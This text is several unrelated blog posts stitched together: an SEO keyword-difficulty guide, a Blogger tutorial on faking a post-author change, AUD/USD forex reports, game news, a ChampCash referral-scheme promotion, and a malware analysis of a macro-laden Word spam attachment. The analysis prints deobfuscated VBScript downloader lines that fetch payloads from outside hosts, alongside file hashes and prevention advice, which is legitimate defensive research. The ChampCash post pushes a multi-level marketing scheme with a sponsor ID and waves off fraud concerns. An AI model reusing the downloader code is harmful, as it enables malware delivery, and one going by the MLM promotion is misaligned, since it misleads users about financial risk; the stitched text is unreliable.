Keyword Difficulty Analysis: How to Choose the right SEO keywords

A successful SEO campaign almost always relies on the keywords used. As elements that search strings are matched against, they can propel a website forward, helping it rank on search engines. The significance of individual keywords, however, is slowly dwindling, and keyword-based search engine optimization is losing its strength. Blame it on black hat practices that, even when they're being cracked down, have left lasting effects. This is because there are now factors that are far more important than keyword presence:

• Keyword placement matters more than usage frequency. That is, using keywords in the title tag and header has more weight than using them five times in the content.
• Using synonyms is more than acceptable. Now that Google is more sophisticated in interpreting data of a website, keyword specificity is fading. So even if different key phrases are used, as long as they have similar context, Google can place them in the exact same category, theoretically.
• Semantic search is making a huge difference on user searches. In the past, Google dissects search queries by words. A search query about "running shoes Utah", for example, would return anything that may be related with running, shoes and even events in Utah. But with search semantics, Google interprets the meaning of the whole search query rather than just the individual words.

Along with these changes is the need to take a different approach to keyword research. Keywords still matter, but they need to be perfect to be really effective. So whatever process you have been following for as long as you can remember, you should completely forget. Even if you did rank, it turns out that you have been doing keyword research all wrong. Rather than research for high volume, low competition and good CPC keyword, or effective latent semantic index keywords, you should use keyword difficulty analysis instead.

What does Keyword Difficulty Analysis mean?

Keyword difficulty is defined as a factor that helps determine how easy or difficult it is for a website to rank based on a particular keyword. So it's no longer about short-tail or long-tail, and high or low, because other factors now come into play, such as the following:

• The number of pages currently ranking for a specific keyword
• The number of pages bidding on a keyword in paid search campaigns
• The volume and cost per click of a keyword for a particular month

If you want to go down to specifics, you also need to look into queries that you must compete for based on three elements:

1. Your competition or the number of indexed pages for a particular query
2. The authority or ranking strength of a website based on the quantity and quality of incoming links
3. The relevance of well-ranking websites in terms of how they match certain search queries with consideration to factors, such as on-page ranking and off-page signals.

Difficulty analysis also entails estimating keyword difficulty. The easiest way to do this is to check out strong and weak search results based on a keyword or key phrase that is widely used. Between "running shoes Utah" and "Nike running shoes", the latter is harder to rank with, especially for normal and less-popular blogs. There is no way you can compete with high authority blogs.

A search query on "Pebble Time review" would return the following results:

All of these make up the top 10 strong results, which is clearly hard to outrank by less authoritative websites.

But if you use long-tail keywords, there is a possibility that the results will include forums, non-relevant sites, YouTube videos, Yahoo Answers and other websites that will be easier to outrank or those that make up weak results. So, what you want is a keyword that will return weak search results.

But because there are no hard-and-fast rules in difficulty analysis, you need to use tools at your disposal. A keyword difficulty tool can come in many shapes and sizes, so to speak. It's not just a specific type of software, but a set of procedures that lets you identify keyword difficulty.

Perform difficulty analysis based on several principles

Competing Pages

Find out who your competitions are for a particular keyword or phrase. Simply type in the search terms you want to use on a search engine and check out the results. As a blog or a business, your competitors are other blogs or companies that are providing the same products or services, and using the same set of keywords. The top ten is your strongest competition.

You can further narrow down your search by looking into the number of pages being indexed that use the same search terms on the title. To do this, use one of Google's advanced search operator "allintitle", which will display websites where the keywords appear in the title.

Now that you know your competitors, it is important that you don’t make any decisions based solely on the data that you collected. Just use them as an indicator, since there are plenty of other elements that will keep you off the first page.

Top 10 Search Results

If you want to determine the metrics involved in keyword difficulty, determine the top ranking sites related to the terms you intend to use. Getting results is easy. It is making the searches non-personalized that is challenging, although not impossible. You just need to use the right tools to de-personalize your search and get the results that matter more. Using Chrome browser in incognito mode is one good example. What this does is to remove results returned based on search data and preferences, such as ads, news, images and YouTube videos.

Number of Links

Top-ranking pages are likely to have a significant number of external and domains pointing links based on certain key terms. If you use the same keywords, you would definitely have a hard time ranking. But if there is a top-ranking website with just a few direct links, you have a door of opportunity. Using Open Site Explorer or Majestic SEO, you can acquire a number of linking domains a website has. But know that a site with few high quality links can have the same authority as one with plenty of low quality links, which is why further analysis is necessary.

Off-Page Optimization

How strong a competitor website's off-page optimization is reflected on the number, authority and type of links it has, including the backlinks. Keyword difficulty analysis will look into page authority, domain authority, keyword in anchor text and the diversity of unique linking root domain.

On-Page Optimization

Now that you know who your competitors are, find out how well optimized they are. Think like a search engine and look for different signals that will help your keywords rank easily and effectively.

• Keyword in title tag
• Length of the title tag
• Keyword in H1
• Keyword in image alt text
• Keyword in domain or URL
• Keyword representation in anchor text or external links
• Content quality
• Optimization level (over optimized or not)
• Use of questionable SEO practices
• Internal linking architecture of a website

You can also keep your evaluation simple by just ranking each page's optimization as none, minimal, over, fair, decent or good, and excellent. Regardless of which step you take, however, this process takes a lot of work. If you want to cut down on the amount of effort and time you spend, you should filter your keyword list to a manageable size.

Perform difficult analysis using Google search operators

Google can be your best friend in difficulty analysis, and not just in knowing your competitions or the keywords they use. To maximize Google, however, you must use three of its special operators.

As already mentioned, allintitle returns results that contain your search terms on the title. allinurl, on the other hand display results with the keyword included in the URLs, and allintext returns search results with the keyword appearing within the content.

How do you use them to your advantage? Using the keywords "nike running shoes", for example, run a keyword difficulty analysis in Chrome. Don't forget to search in incognito mode to keep results organic and non-personalized. Take note of the total results and those that returned using Google's advanced search tools. The data you collect will look similar to the one below:

Keyword: nike running shoes

Results with allintext: nike running shoes

Results with allinurl: nike running shoes

Results with allintitle: nike running shoes

What do the figures tell you?

• If the total results are equal or close to 1,000,000, you have higher chances of ranking on the first page.
• If the results with allintext are just 50% more than the total results, keyword difficulty is very high.
• If the results with allinurl and results with allintitle is less or close to 1,000, the chances of ranking on the first page is high provided that certain criteria are met:
  • 2000+ words in-depth blog post
  • Proper image optimization
  • High Flesch Reading Score
  • Quick Load Spee
  • Good Social Shares
  • Efficient Inter Linking
  • Several high DA, PA Backlinks
  • Perform difficulty analysis using specialized checker

What is great about using Google search operators is that you will know your competitors during your research. But you can always take a shortcut through a keyword difficulty tool.

Perform keyword difficulty analysis using difficulty tools

Keyword Inspector
This is a free tool that you can use to analyze how difficult it is to rank a specific keyword. Every search term is ranked as Very Easy, Easy, Moderate, Difficult and Very Difficult.

To start using it, you must first create an account. Once that is done, you can then run an analysis by typing in the keyword on the input box, choosing a country and then hit "Submit". You will get a tabulated result, with the keyword difficulty analysis indicated at the last column. It is highly recommended that you use search terms that is ranked moderate or less difficult.

Take note, however, that search results may vary from one country to the next. So don't make decisions based on them alone. Instead, combine it with other keyword difficulty tool.

MOZ Keyword difficulty tool
This tool is more comprehensive and comes with other useful features, making it an ideal choice. It may not be free, but it does give good value for your money. You can run 20 reports at one time, and a standard subscription has a daily limit of 400 reports.

To run a difficulty analysis, simply type in one or more keywords on the input box. You can separate the terms using a comma, tab or by typing it on a new line. Choose a search engine (Google, Bing, etc.) and country, and then hit "Check Difficulty" button. You will then get a report with the difficulty score and ranking factor indicated. The score is between 1% and 100%, with 1% as being easy and 100% as being very competitive.

What is great about this difficulty analysis tool is that you have the option to export the report as CSV, in case you want to run you own analysis. There is also a "Compare" button that will give you an idea which keyword has the lowest difficult score, yet has the most search volume - an excellent combination. Simply check on the keywords you want to compare, two or more at a time, and then hit Compare.

Take note that the data of search volume will always be for Bing even if you choose Google as your search engine. Don't worry though, since this would not affect the results in any way.

SEMrush
Originally a professional SEO tool designed for digital marketers, SEMrush has recently introduced a tool for keyword difficulty analysis where you can bulk check ranking of multiple keywords. It is not free, but you do get a 14-day free trial period. Look for the keyword difficulty analyzer under Tools, type in your keywords and then search for their difficulty score. You can put in a maximum of 100 search terms per line.

The great thing about this tool is that you get more in one go. That is, you not only learn about Keyword difficulty, but also Keyword Research, Competitors Analysis, and even Backlink Opportunities.

There are just a few examples of keyword difficulty tools that you can use. Among the three options, SEMrush is considered the simplest to use and is highly recommended for affiliate marketers and bloggers.

Keyword difficulty analysis can be done for app store optimization as well. Check out the result count to determine the number of apps targeting a particular keyword. Simply type in the search terms on the app store and both Apple and Google will show which apps use certain keywords. Another factor is volatility that provides a good indicator of how difficult it is to rank for a particular search term. Because finding volatility manually is hard, look for tools that you can use.

Once you have a list of keywords, sort and filter them out into different categories, such as immediate and short-term keyword targets, medium-term keyword targets that need to be groomed and grown, and long-term keyword targets that can be obtained through sustained effort.

Keyword difficulty analysis may seem like a new concept, but it is the new way of ranking in search engine results, which is why it is worth implementing in your SEO campaign.

How to change the author for a published blog-post

This article explains how to change the author of a post that has already been published in Blogger.

Blogger posts and changing post-authors

When you Publish a post in Blogger, a number of features are set up for the post, as well as the contents.  These include:

• The URL / web-addresss where the post can be found
• The post date/time when it was published
• The post-author (which is now set the first time that the post is Saved, ie even before it is published.)
• The labels that apply to it.

Some of these can be changed by editing the published post.

But there are some features that cannot be altered after they are set.

In particular, Author is not changed even if a different Google account is used to edit the post - or if the original author has their permission to write to the blog removed.

This can lead to interesting situations on multi-author blogs, especially when one writer leaves the team and perhaps even deletes their Google account.   Because of this, some blog owners choose to not show the "Posted-by"field (set on the Layout > Blog Posts edit > "Posted by" option).

But even if post-author is not displayed on the blog, it is useful for administrator to know who exactly posted each post.

That said, when someone asks how to change the posted-by (ie author) value, the simple, and correct, answer is "You can't."

But there is a way to make it look like the author has been changed, so that only the most eagle-eyed readers will be able to tell the difference.

How to change the author of an existing blog-post

In short, you need to make a new post with the same contents, and then use a custom-redirect so that anyone who tries to look at the old post (eg by following a link to it) is automatically taken to the new post.

Follow these steps:

You need to take note of several values during this procedure, which are used later on. It may good to open a text-editor (eg Notepad) before you start.


1   Look at the URL of the existing post, and note the part that is from the single-slash after your blog's name,  For example in

http://www.Example.blogspot.com/2012/06/my-post-title   

the part you are looking for is the bold part, ie "/2012/06/my-post-title" - including the single slash a the start.



2    Edit the existing post, go to the HTML tab and

• Copy the contents (like you would if you were copying a post from one blog to another). 
• Note the value under Options > Line Break, which is either use <br> tag or Pressenter for a new line.

3    Log in to Blogger with the account that you want to use as the new post author-name.


4    Create a new post, and make sure you have the same setting under Options > Line breaks, to be sure that you get the spacing right.


5   Edit the post to be just like the old one:

• Put the HTML that you copied into in the HTML view of the new post.
• Apply any Labels or Location values that applied to the old post.
• Make the title the same as it was in the old post.
• Change the date to the same as the old post.

6   Make the URL of the new post similar but not quite the same:

• Put the value you found in 1 step into the custom-permalink field. 
• Add some text to it so that it is not the same as the original value,
  eg make "my-post-title" into "my-post-title1"

7   Publish the post and  note the part of  the post-URL from the single-slash after your blog's name


8   Set up a re-direct from the old post to the new post:

• Go to Settings > Search Preferences
• Edit the Custom Redirects
• Add a new redirection (only needed if you already have some)
• Enter the value from step 1 into From
• Enter the value from step 7 into To
• Tick Permanent
• Click the save link for this particular re-direction, and then the Save Changes button.

9   Check your blog, to make sure that the re-direction is working correctly.


10  Once you are happy that the re-direction is working correctly, delete the old post.
You will need either the existing author account, or a Google account with administrator rights, to do this.   If SEO matters for your blog, then it is good to do it as soon as you can, so you are not penalized for having duplicate content.

What your readers will see

Everyone who is subscribed to your blog's RSS-feed or follow-by-email gadget will see a new post.
(I you don't want this, turn your feed off before you start - but don't forget to turn on again when you are finished!)

Visitors who browse your blog posts will see the "old" post, with the new author, in the original place.

Visitors who try to go directly to the old post via an existing link or from search-engine results will automatically be re-directed to the "new" version of the post. Very observant ones may notice that the URL is slightly different from the original. Most won't.

A quicker way:  get control of the original Author account

The method described above is fiddly and tedious - especially if you want to change the author of many posts.

An alternative is to ask the original author if they still want the Google account  that they used to make the posts. If you are lucky they

• Don't want it, and 
• Are willing to hand the password over to you. 

In this case, you could

1. Quickly change the password (before they change their mind!), and
2. Edit their profile to the new author name that you would like to have displayed. You may also want to change some other details - and if they are using a Google+ profile and you already have one, then you should probably delete this.

This isn't a total solution, of course: no matter how you edit their profile, it will still be different to your own profile. But it may be better than nothing.

---

Related Articles

How to edit a post that has already been published

Understanding Google accounts

Copying a post from one blog to another

Giving someone permission to author posts

Changing the publication date for a blogger post

Setting the URL for Blogger posts

Why SEO doesn't matter for some blogs

AUD/USD 25th MAY 2015 Forex Report

                                                            AUD/USD Primary cycles

As noted in the previous report, AUD rose on the back of the rate cut and hit the MAY highs and stalled

Support now resides around 78 cents:- Monthly 50% level and 2015 Lows.

Based on Commodity prices and their own Primary Cycles, there is still a bias to move lower in 2015, how this effects the AUD for the rest of the year will simply be defined by trading either side of .78cents

Champcash : A New Way to Earn Good Money

What is ChampCash?

Champcash is the latest app for android users to earn some extra bucks. Its like a MLM (Multi Level Marketting) scheme, in which you make new members by sending them the link of Champcash app. There is no fee to join this programme, instead you have to install some apps suggested by Champcash to be eligible for earning.

Install Champcash Now

Is Champcash a Fraud ?

I was also concerned about this thing when I first heard about Champcash. I searched for this issue on internet but got nothing. So I concluded that it is not a fraud. 

Try ChampCash

How does Champcash earn and provide incentive to its users?

Champcash gets money from various companies by getting their apps installed on the android devices of users. Champcash distributes a certain percentage of its earning through this MLM scheme. In this way people participate in it and the apps get installed in millions of android smartphones. A number of MLM schemes are running all over the world (example – Amway). Majority of the MLM schemes make good money for those who join it at an initial stage. So don’t wait and Install Champcash on your Android device now.

Be a part of Champcash

How can you withdraw the amount from Champcash?

There are 2 ways to do so. If it’s a small amount that you want to withdraw then you can recharge any mobile with amount minimum $1. But if it’s a large amount then you can withdraw it using wire transfer of paypal transfer. Mobile recharge is done instantly while the 2nd method takes at least a month to get the balance in your bank account. But such amounts are worth waiting to get in your bank account.

How to install Champcash and be eligible for earning ?

Follow the following steps to install Champcash on your Android Smartphone.

• Install Champcash
• Open Champcash in your Phone and Signup
• It may ask you for Sponsor ID / Refer ID. Enter 43718
• Now it will give you a challenge to install some apps. "Accept the challenge" . You might need to to install 7 to 10 Apps to complete the challenge. This the the most tough step as it takes more that 100 MB of your mobile data and your time. You have to install these apps and then open them for at least 1 minute.
• Once you complete the above step you will be eligible for earning.
• Then you can invite your friends to be a part of this scheme.
• On every successful joining you get $0.5 to $1.5 depending upon your country. You can earn upto 7 levels of joining. But you commission decreases as the depth of level increases. But still it can earn you few good bucks. 

Whats the real benefit of joining Champcash ?

• Your network works for you. You have to work only during the initial stage. Once some good users have joined under you then they will work for you automatically. Their referrals will automatically add commission in your account up to further several levels.
• There is no limit for direct joining under you. So there is no limit to earning.
• It turns your mobile phone into an earning machine.
• Even if it don't make you a millionaire, it can earn you some extra money.
• Its a good thing for those who work from home and have internet access on their android smartphone.

Join Champcash Now and earn unlimited.

Limit Load, new arcade combat flight simulator

Stealth development might not be very "open-sourceish", but it sometimes makes for some nice surprises in our project showcase forum.

This time it was the completely new open-source game Limit Load, self described as:

A cockpit flight game that is more of an arcade than a sim. The game is built on the Panda3D game engine. It is similar to the ancient games like the classic Wings or the very good Strike Commander. The story and the atmosphere are important elements of the game, so a lot of focus is placed on that too.

Here is some in-game action and it seems quite polished already for such a new game:


Licensing of assets is still a bit of a grey area it seems, but they are fully aware of it:

The game code is licensed under GPL 3, and custom-made game assets under CC-by-SA 4.0. Some of the assets were taken from "free" (as in "not sure in which way") sources on the Internet, so their licensing situation is unclear. Eventually these should be cleared for use or replaced.

So where is my VR kit? :D

New malicious Office docs trick

It all starts with the 1,000,000th usual spam mail in your inbox:

Have you received an order form? No.

The content is as follows:

Dear,

We have received your order form [AY19358KXN]  and we thank you very much. Our sales department informs us that they are able to dispatch your stock by the end of next week following your packing instructions.

As agreed, we have arranged transport. We are sending herewith a copy of our pro-forma invoice.

The consignment will be sent as soon as the bank informs us that the sum is available. We hope you will be satisfied with the fulfilment of this order and that it will be the beginning of a business relationship to our mutual benefit.

Attached is a DOC file with (surprise) a macro attached. However, the method's different than usual:

@bartblaze this is actually even simpler: open a Word doc with macros, save as MHTML from Word, rename .mht to .doc

— Decalage (@decalage2) May 7, 2015

In the past, there have been some other new tricks as well, for example:
Analyzing an MS Word document not detected by AV software
XML: A New Vector For An Old Trick
Malware authors go a step further to access bank accounts

In regards to any Office files, you can simply open the file in Notepad++ for example and you'll see the .mso appended at the end. The new thing here is that it's a Word MHTML file with macro(s).

Using olevba (by @decalage2), we can extract and automatically decode the .mso object - which contains a bunch of (what appears to be) random gibberish:

Function that "Returns the character associated with the specified character code"

You can use the ASCII character code chart to figure out what this malware is doing exactly, for example the first line Chr$(104) & Chr$(116) & Chr$(116) & Chr$(112) is simply "HTTP".

Another option is to use a Python program made by Xavier Mertens, deobfuscate_chr.py.
You can find a Pastebin here with the extracted + deobfuscated macro.

Short analysis of this .doc file using olevba

Other tools are available as well, for example oledump and emldump from Didier Stevens.

Emldump + passing through oledump extracted a malicious link

 
Now, what happens when you execute this malicious Word file?

Oops, seems macros are disabled :)

If macros are enabled, or you choose to enable the macro in that document, a Pastebin download link was opened and the file was executed. Process flow is:

Word document -> download VBS from Pastebin -> Execute VBS -> Downloads & executes EXE file -> Downloads & executes another EXE file.

Visually, you might get either of these images:

dim JHyygUBjdfg: Set JHyygUBjdfg = createobject(Microsoft.XMLHTTP )
dim jhvHVKfdg: Set jhvHVKfdg = createobject(Adodb.Stream )
JHyygUBjdfg.Open GET , http://savepic.org/7260406.jpg

dim sdfsdfsdf: Set sdfsdfsdf = createobject(Microsoft.XMLHTTP )
dim dsfsdfsdfg: Set dsfsdfsdfg = createobject(Adodb.Stream )
sdfsdfsdf.Open GET , http://savepic.net/6856149.jpg

Dropper, payload, related files:

AY19358KXN.doc (original file)
SHA1: b2c793b1cf2cf11954492fd52e22a3b8a96dac15
VirusTotal

Extracted macro (I named it AY.vb)
SHA1: 79b0d7a7fe917583bc4f73ce1dbffc5497b6974d
VirusTotal

JGuigbjbff3f.vbs (dropped VBscript file)
SHA1: c8a914fdc18d43aabbf84732b97676bd17dc0f54
VirusTotal
Deobfuscated VBscript

o8237423.exe (dropper)
SHA1: 7edc7afb424e6f8fc5fb5bae3681195800ca8330
VirusTotal

DInput8.dll (payload)
SHA1: 8bfe59646bdf6591fa8213b30720553d78357a99
VirusTotal

Prevention

• Don't open emails (and certainly no attachments) from an unknown source. 
• Install an antivirus and antimalware product and keep it up-to-date & running.
• Improve security for your Microsoft Office package. (Word, Excel, ...)
  This means disabling ActiveX, disabling macros and blocking external content. Useful links:
  Enable or disable ActiveX controls in Office documents
  Enable or disable macros in Office documents
  Block or unblock external content in Office documents

Conclusion

It seems obvious that malware authors are keeping up-to-date with the latest news and as such adapting their campaigns as well. Better be safe than sorry and don't trust anything sent via email. ;-)

If you're in an organisation, you might want to consider blocking the execution of all macros (or only allow the ones that are digitally signed if there's really no other choice) by using GPO.

You can find those templates here:

2007 Office system (SP2) Administrative Template files (ADM, ADMX, ADML) and Office Customization Tool 

Office 2010 Administrative Template files (ADM, ADMX/ADML) and Office Customization Tool download 

Office 2013 Administrative Template files (ADMX/ADML) and Office Customization Tool

Note: starting from Office 2010, macros are disabled by default.

Resources

ASCII Character Codes

Base64Decoder

Chr, ChrW Functions

Macros Explained: Why Microsoft Office Files Can Be Dangerous

OLE (Object Linking and Embedding)

oledump

oletools

Old school 2D RTS Wyrmsun is looking to be greenlit

We were kindly made aware by the main developer of the 2D RTS Wyrmsun that he is currently looking for support to get this game on the Steam platform (link includes a game-play video).

Here is a description of the game we got from him:

In Wyrmsun, humans, elves and dwarves all seek to carve a place for themselves on their different homeworlds, with humans living on Earth, dwarves dwelling on Nidavellir, and elves inhabiting Alfheim. In the game's missions, each world follows separate storylines, but the various civilizations can be mixed and matched in custom games.

Wyrmsun features:

• Retro-style graphics
• 2 playable civilizations, and a number of non-playable ones
• 18 quests to play, earning technology points which can be used to obtain new units, buildings and technologies
• 38 units, 30 buildings and 14 technologies
• Units that can earn experience, being able to upgrade to new unit types or acquire new abilities upon level-up
• Persistent heroes, who carry over their level and abilities throughout scenarios
• Personal names and traits for units
• Cave, Conifer Forest, Dungeon, Fairlimbed Forest and Swamp tilesets
• 33 maps of real and fictional locations to choose from, as well as random maps
• Living environment, with fauna reproduction and predation
• Very moddable game, with mod-loading capability built in
• Grand strategy mode, where production is resolved on the strategic (world map) level, while battles are resolved on the tactical level
• In-game encyclopedia, allowing players to learn more about the units, buildings and other elements of the game, as well as their historical and mythological sources of inspiration.

For those more inclined to help out with the code, there are two code repositories: one for the game and one for the modified Stratagus engine.

P.S.: Yes FOSS games can be on Steam as long as they don't integrate with closed source steam integration libraries; And it can be a great way to attract more users to your game and maybe even collect some donations or sell add-ons (preferably in a "release freely when sufficient funds are gathered" style). See this game for an successful example.

AUS/USD Forex Report 4th MAY 2015

AUD Primary Cycles

The Completion of the Break & Extend pattern from the 2014 lows into major support @ 7567

has provided a robust pattern for the AUD to continue to rise up into the 3-month highs. 

That 3-month high is now 80.90 in MAY, and if it's going to continue higher then the support level becomes .7802-.7819 (Yearly lows and 3-month 50% level)

Above .8090 (resistance) and trend bias is to move back towards the 2015 50% level over the next 6 months.

Short-term and we have tomorrow's interest rate announcement, and if they drop rates then it could put pressure on the AUD once again.

However, last week's spike and retracement might have that already factored in, as the Reserve bank leaked the news early.

Therefore don't be surprised to see the AUD move upwards after the news. (trade on the side of .7802)